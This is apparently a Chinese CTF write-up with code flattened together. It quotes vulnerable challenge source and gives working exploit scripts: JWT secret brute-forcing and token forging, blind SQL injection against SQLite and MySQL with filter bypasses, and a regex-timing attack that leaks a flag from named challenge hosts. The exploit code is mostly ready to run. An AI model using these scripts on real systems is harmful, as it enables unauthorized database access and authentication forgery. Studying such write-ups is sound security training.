app.get('/start', (req, res)=>{ if ( player.name ) { for (let i in player) { if (req.session.hasOwnProperty(i)) req.session[i] = player[i] else { res.end("Do you think i am stupid?") player = {} req.session.destroy() return } }
但是在另一个地方:发现有对won的重新赋值,所以应该还要再考虑一下原型链污染的一个顺序问题
app.post('/start', (req, res)=>{ if ( !req.cookies.token || !req.session.name ) { res.status(403).send("you are not allowed to visit this page") return }
let patt = /union|like|pragma|savepoint|vacuum|detach|alter|attach|insert|update|release|rollback|load|create|drop|delete|explain|regexp|=|>|<|"|'/i if ( req.user.id.match(patt) ) { res.status(403).end("Never Trust Your User") return }
db.get(`SELECT ITEM,LOG FROM AWARD WHERE id=${req.user.id}`,function(err,row){ if (!row) { res.render("reward", {"award": "", "log": ""}) return } if (row["ITEM"] && row["LOG"]){ res.render("reward", {"award": row["ITEM"], "message" : row["LOG"]} ) } else res.render("reward", {"award": "", "log": ""}) }) })
with open(path,encoding='utf-8') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str,verify=True,key=key_,algorithms=["HS256"]) print('found key! --> ' + key_) break except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('found key! --> ' + key_) break except(jwt.exceptions.InvalidSignatureError): continue else: print("key not found!") defjwt_encode(payload_t): json = { "id": payload_t, "is_win": "true", "iat": 1630654737, "exp": 1630697937 } token = jwt.encode(json, "fuckoff123", algorithm='HS256') return token deford_tran(s): fin="" for i in s: fin +=f"{ord(i)}," #print(f"chr({fin[:-1]})") returnf"char({fin[:-1]})"
defsql_injection(payload): result="" for i in range(1,10000): for j in range(0,128): payload_f=f"1 and char({j}) in (substr(({payload}),{i},1));--" #print(payload_f) token=jwt_encode(payload_f) headers={ "cookie":f"game={game}; token={token}" } #print(headers) r=s.get(url=url+'award',headers=headers).text
#print(r) if"Turkey"in r: result += chr(j) print(result) break
if __name__ == "__main__": #jwt_boom() #key=fuckoff123 #payload="SELECT group_concat(name) FROM sqlite_master"#AWARD,sqlite_autoindex_AWARD_1,SECRET,sqlite_autoindex_SECRET_1 #ord_tran("SECRET")
#payload=f"SELECT group_concat(sql) FROM sqlite_master WHERE tbl_name in ({ord_tran('SECRET')})"#fl4ggg payload=f"SELECT group_concat(fl4ggg) FROM SECRET"#almost,flag{f7f0f684-0abf-ffe1-c561-a186d17a0b1d} sql_injection(payload)
FLAG = File.open('/flag', "r").read # 是一个MD5,提交时请包裹上flag{}
String.class_eval do deftext return [self].pack('H*') end end
set :public_folder, File.dirname(__FILE__) + '/static'
get '/'do File.open('/app/app/index.html' , "r").read end
get '/check/:regex'do begin regexp = Regexp.new(params['regex'].text) p regexp rescue "False!" return end begin SafeRegexp.execute(regexp, :match?, FLAG, timeout:3) "OK!" rescue "False!" end end
get '/source'do File.open(__FILE__ , "r").read end
这题是正则表达式延时,直接打就行了~
require'net/http'
CHALLENGE = 'http://a.y1ng.vip:1115'
String.class_eval do defhex res = '' self.each_byte do|i| res += "%02x" % i end return res end end
defrandom(len) chars = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a s = "" 1.upto(len) do s << chars[rand(chars.size - 1)] end s end
defcheck_result(reg, suffix) full_regexp = "^(?=" + reg + ")((.*)*)*" + suffix p full_regexp uri = URI(CHALLENGE + 'check/' + full_regexp.hex) Net::HTTP.get_response(uri) end
defleak(flag, r) chars = '0123456789abcdef' (0..15).each do|i| if check_result(flag + chars[i], r).body["False"] p flag + chars[i] return leak(flag + chars[i], r) end end end
select group_concat(table_name) from sys.schema_table_statistics;
是可以的
就可以跑出表名了 接下来使用union无列名盲注
select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2
得到表名以后 直接select * from SeCrrreT跑不出来,所以可以猜想肯定不止一行,所以后面要加limit 然后用无列名盲注,去尝试字段数
import requests import string url="http://a.y1ng.vip:1119/" s=requests.session() defsql_injection(payload): data1="" for i in range(1,100): for j in range(32,128): payload_tr=f"root'and case ascii(reverse(left(({payload}),{i}))) when {j} then 1 else 0 end#".replace(" ","/**/") data={ "username":payload_tr, "password":"1141" } r=s.post(url=url,data=data).text #print(r) #print(data) if"Welcome Admin!"in r: data1+=chr(j) print(data1) break
if __name__=="__main__": #payload="database()"#ctfgame #payload="select group_concat(table_name) from sys.schema_table_statistics"#users,SeCrrreT payload="select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2"#flag{fab99a66-23db-47b1-9db4-9262664d76a8} sql_injection(payload)